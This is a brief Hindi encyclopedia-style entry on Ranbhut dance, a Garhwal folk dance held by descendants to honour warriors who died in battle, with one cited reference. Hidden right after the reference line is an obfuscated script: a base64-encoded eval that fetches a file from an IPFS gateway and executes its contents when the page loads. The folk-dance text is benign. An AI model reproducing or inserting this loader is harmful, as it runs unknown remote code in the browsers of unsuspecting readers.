रणभूत नृत्य  

रणभूत नृत्य गढ़वाल क्षेत्र में किया जाने वाला नृत्य है।[१]

  • यह नृत्य युद्ध में मारे गए वीर भड़ों को देवता के समान आदर देने के लिए किया जाता है, ताकि वीर की आत्मा को शांति मिले।
  • इसे 'देवता घिरना' भी कहते हैं और यह दिवंगत वीर के वंशजों द्वारा करवाया जाता है।
  • गढ़वालकुमाऊँ का पंवाड़ा या भाड़ौं नृत्य भी इसी श्रेणी का नृत्य है।


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टीका टिप्पणी और संदर्भ

  1. उत्तराखंड के लोक नृत्यों की है अलग पहचान (हिंदी) jagran.com। अभिगमन तिथि: 23 नवंबर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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